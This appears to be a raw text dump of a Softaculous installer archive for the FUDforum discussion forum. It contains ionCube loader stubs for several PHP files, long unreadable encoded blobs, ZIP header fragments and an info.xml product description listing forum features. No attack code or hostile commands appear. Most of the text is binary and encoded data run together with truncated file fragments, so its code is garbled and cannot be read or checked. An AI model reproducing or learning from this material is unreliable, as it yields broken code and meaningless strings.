BI0uCH2VJdAiu/IuQW60zOkhKo3HoOcPSTuvGVzd+l7zuRcccXLmWchZ1Qe9Nosum87/ExjMhLFe q9RF7uVFM9G9odsRnYqx79KP1ui+oQW2RlM3bcGOoQwlHXXn0KtocW/qR30N0iS98j3eo8dBIGjL aBLAPr1qXa2wPq0RX/SDPFhlMF1VdEfruyNF/iflLkLqJzvUagi7qwJnwn+hk6LrVnHYhKdzqoQy Su5eAh5UOdt3MLGFCzBSx15Hb9rEj9yu/9FNTAvteNk/tLhyDgzbYPQkEU6h/gJS7LRqLuBXdXb3 t11Xm66oRKxs+ipTHStVV/36fUhU6qQYFiRk4cm5P+qMkCuxCqnTRYw0YxVbbYFhdgUokdNnKiSr IxrrMD58bT5yvXPPknVDYykEELm1q1ITmXsRsMJ+IZbrmjTiMky9MQvNHN5hCTZH++/YvaUIy1oK h9OWaaMJX+27n00hTAPg7dPuPDxy1Xcb/OqnV2Zy0ynOna1X+UOg2ylvq0655y88qAvYGg0Hyzop iCS7Q6TSGAmrIsjmdgFLMecGazKrVUQeWz+US1+UP5WazWs+wm4ESVj0zQE+oKlzhZj6VlblZFQz Po2zXYkEIMMt8xzegwlDYqTJYlfvExuTwOj495JrN9mEOLj/kAjb0Y0SYrhUEL3GReVSi6RnMlKq yinY2RgRDpRg46IQQ+RHjjXd26z4yJtejIndtKqpzvNc81JHgHeesFPMxl0SGh7OEID9OtL9Akk8 cqA1mK7B1Pp9C+KG3uhUDs2WJeR6EoHZMm1G4oWuw55kvmOBmyeUaCCt1qbTY7qE/UtKMcSI8mAd IiQb3UX/fUf1DW8jvsTj1PFnMYxGtnEhAnwo8GYm+1GheMjKOgR1afSrC5Pst1E+lW7XJs4+XXUz L6uKkbAX2o6qaFoLM5Uw3Cce9V96WHhcldF9q24=PKl0].N  php71/edit.phpnu[1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo("Site error: the ".(php_sapi_name()=='cli'?'ionCube':'ionCube')." PHP Loader needs to be installed. This is a widely used PHP extension for running ionCube protected PHP code, website security and malware blocking.\n\nPlease visit ".(php_sapi_name()=='cli'?'get-loader.ioncube.com':'get-loader.ioncube.com')." for install assistance.\n\n");exit(199); ?> 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PKl0]7xxphp71/import.phpnu[1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo("Site error: the ".(php_sapi_name()=='cli'?'ionCube':'ionCube')." PHP Loader needs to be installed. This is a widely used PHP extension for running ionCube protected PHP code, website security and malware blocking.\n\nPlease visit ".(php_sapi_name()=='cli'?'get-loader.ioncube.com':'get-loader.ioncube.com')." for install assistance.\n\n");exit(199); ?> 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 Ap9p3KF+FftdJnQdoR6khR9T8B9s1ZtdPKl0]!22rdf.phpnu[ PKl0]W00info.xmlnu[ {{overview}} {{features}} http://www.softaculous.com/demos/FUDforum http://www.softaculous.com/softwares/forums/FUDforum 4845568 http://fudforum.org/forum/ 3.2.1 12 15-06-2026 adm/index.php 4.5.4 FUDforum (Fast Uncompromising Discussion Forum) is a free and open source web discussion forum.

FUDforum combines an extensive feature set while maintaining the ability to generate forum web pages extremely fast. The forum includes i18n and templating support allowing for a complete customization of its output as well as a very capable group based permission system.

FUDforum can also act as a Mailing List Manager, USENET newsreader and even an XML Feed Aggregator. This will allow you to build an instant community and consolidate all your messages into a single system.

FUDforum is released under the GNU General Public License.
Some of FUDforum's major features include:
  • Spell Checker FUDforum supports a fully functional spell checker, that if enabled would allow forum users to spell check their messages before posting. The spell checker utilizes PHP's Pspell library and supports multiple languages.

  • Templating System FUDforum contains a fully customizable templating system, that allows you to completely customize the the look and feel of your forum. For optimal performance the templates are compiled, so you do not lose any speed as you do in other forums by having a templating system. The Template Editor can be found inside the administrator control panel.

  • i18n Support FUDforum has full i18n support, that allows an easy translation of the forum into a language of your choice. Currently FUDforum is distributed with more than 40 languages, including English, French, German, Swedish, Polish, Turkish, Spanish, Chinese and several others.

  • Group Permission System FUDforum supports a highly capable permissions system, which can be used to control what forum users can and cannot do. Using this system you can grant special access rights to certain users, block users from seeing and/or accessing certain forum etc.

  • Private Messaging FUDforum includes a private messaging (PM) system that if enabled via the global control panel allows forum members to send private messages to one another.

  • File Attachments If permitted by the administrator, users may attach files to their forum and private messages. The amount of files that the user can attach as well as their maximum size can be defined by the administrator on a forum by forum basis via the forum control panel. The ability to attach files to private messages can be defined by the administrator via the private messaging system controls.

  • Polls FUDforum supports a complete polling system, which may enable users to add polls to their messages. Permissions to create and vote on polls is controllable by the admins via the group management system.

  • Forum and Topic Subscriptions The users on the forum have the ability to subscribe to topics and forums. By subscribing to a topic a user will receive an E-mail or ICQ notification about any new posts made inside that topic. The subscription to a forum on the other hand will notify the user of any new topics created in the forum.

  • Full Text Search FUDforum includes a full text search that allows users to search the posted messages by entering one or more keywords. The user has the option of limiting the search to a particular forum or category or they can search the entire forum. A user may either limit a search to a particular forum or category or search the entire forum.

  • I-Spy and Online StatusI-SPY is a neat feature, that if enabled will allow forum users to see what other forum users are doing at this very moment.
    The forum also keeps track of the currently online users, an indicator is placed beside each message showing whether the author of the message is currently online or not. This too can be disabled via the global control panel.

  • BBcode BBcode is a series of text formatting tags that allow users to style the text of their messages and signatures. More information about these features as well as the complete list of supported tags can be found here.

PKl0]0&;$;$php53/install.phpnu[1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file '.__FILE__.' requires the ionCube PHP Loader '.basename($__ln).' to be installed by the website operator. If you are the website operator please use the ionCube Loader Wizard to assist with installation.');exit(199); ?> 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 